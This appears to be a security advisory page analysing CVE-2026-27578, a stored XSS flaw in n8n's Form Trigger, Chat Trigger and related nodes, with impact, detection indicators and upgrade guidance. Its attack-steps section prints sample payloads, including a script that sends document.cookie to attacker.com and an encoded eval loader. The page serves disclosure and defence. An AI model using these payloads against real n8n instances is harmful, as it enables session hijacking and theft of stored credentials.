CVE-2026-27578: 
NixOS vulnerability analysis and mitigation

CVE-2026-27578 is a stored cross-site scripting (XSS) vulnerability in n8n, an open-source workflow automation platform. An authenticated user with permission to create or modify workflows can inject arbitrary scripts into pages rendered by the n8n application through multiple vulnerable nodes: Form Trigger, Chat Trigger, Send & Wait, Webhook Node, and Chat Node. The vulnerability affects n8n versions prior to 1.123.22, versions 2.0.0 through 2.9.3, and versions 2.10.0 through 2.10.1. It was disclosed on February 25, 2026, with a CVSS v4.0 base score of 8.5 (High) and a CVSS v3.1 score of 5.4 (Medium) (Github Advisory, n8n Security Advisory).

The root cause is improper neutralization of user-controllable input before it is rendered in web pages (CWE-79, CWE-80). Specifically, node parameters such as allowedFilesMimeTypes in the Chat Trigger node were passed directly to page templates without sanitization — for example, the createPage() function previously used allowedFilesMimeTypes?.toString() ?? '' without calling sanitizeUserInput(), allowing raw HTML/script injection. The attack vector is network-based and requires low privileges (authenticated workflow editor access); exploitation requires passive user interaction (a victim visiting the affected page). Checkmarx researchers published a technical write-up detailing how n8n's CSP sandbox could be bypassed in the context of this vulnerability (Checkmarx Research, Github Advisory).

Injected scripts execute in the browser of any user who visits a page rendered by a malicious workflow, enabling session hijacking and full account takeover. The CVSS v4.0 scoring reflects high confidentiality and integrity impact on the vulnerable system, as stolen session tokens can grant attackers the same access level as the victim — including access to sensitive workflow data, credentials stored in n8n, and connected integrations. Availability is not directly impacted, but the scope extends beyond the attacker's own session to affect all users interacting with compromised workflows (Github Advisory, n8n Security Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at the time of disclosure (Github Advisory). The vulnerability was reported by multiple independent researchers including @ori-ron, @Aikido-Security, @nil340, and Pawel Bednarz from the NATO Cyber Security Centre (NCSC), suggesting broad discovery. The EPSS score is approximately 0.032% (0.000350 per Feedly), placing it in the 10th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Gain authenticated access: Obtain or compromise an n8n account with workflow creation or editing permissions (e.g., via phishing, credential stuffing, or a free/trial account on a shared instance).
2. Identify a vulnerable node: Open the n8n workflow editor and add or modify a node susceptible to XSS injection — such as the Form Trigger, Chat Trigger, Send & Wait, Webhook Node, or Chat Node.
3. Inject malicious payload: In a vulnerable node parameter (e.g., allowedFilesMimeTypes in Chat Trigger, or form field labels in Form Trigger), insert an XSS payload such as <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> or <img src=x onerror=eval(atob('BASE64_PAYLOAD'))>.
4. Publish the workflow: Save and activate the workflow so the malicious node is rendered when users interact with the associated page (e.g., a public form or chat interface).
5. Wait for victim interaction: When any user visits the affected page (e.g., submits a form or opens a chat), the injected script executes in their browser context.
6. Harvest session tokens: The script exfiltrates the victim's session cookie or authentication token to an attacker-controlled server, enabling session hijacking and account takeover (Github Advisory, Checkmarx Research).

• Logs: n8n application logs showing workflow modifications by low-privilege users shortly before reports of session hijacking; access logs showing requests to Form Trigger, Chat Trigger, or Webhook node endpoints from unexpected IP addresses.
• Network: Outbound HTTP requests from user browsers to unknown external domains immediately after visiting n8n-rendered pages (e.g., form submission pages or chat interfaces); DNS queries to attacker-controlled domains originating from client machines that accessed n8n workflows.
• Application Behavior: Unexpected session invalidations or account takeover reports from users who visited n8n workflow pages; presence of <script> tags, onerror=, onload=, or javascript: strings in workflow node configurations (e.g., in allowedFilesMimeTypes, form field labels, or webhook response templates).
• File System / Config: Workflow definitions (stored in the n8n database) containing unsanitized HTML or JavaScript in node parameters for Form Trigger, Chat Trigger, Send & Wait, Webhook Node, or Chat Node.

Upgrade to n8n versions 2.10.1, 2.9.3, or 1.123.22 (or later), which include fixes that apply sanitizeUserInput() to previously unsanitized node parameters (Github Advisory, n8n Security Advisory). If immediate upgrading is not possible, apply these temporary mitigations:

• Restrict permissions: Limit workflow creation and editing to fully trusted users only.
• Disable the Webhook node: Add n8n-nodes-base.webhook to the NODES_EXCLUDE environment variable.

Note that these workarounds do not fully remediate the risk and should only be used as short-term measures while planning an upgrade.

n8n published an official security blog post and community forum bulletin on February 25, 2026, disclosing the vulnerability and providing remediation guidance (n8n Blog, n8n Community). Heise Online covered the disclosure, describing it as patching "code injection flaws" in the automation tool (Heise Online). Checkmarx published a detailed technical post on bypassing n8n's CSP sandbox in the context of this CVE, providing deeper insight into the exploitation mechanics (Checkmarx Research). The vulnerability was independently reported by researchers from Aikido Security and the NATO Cyber Security Centre, indicating broad community attention.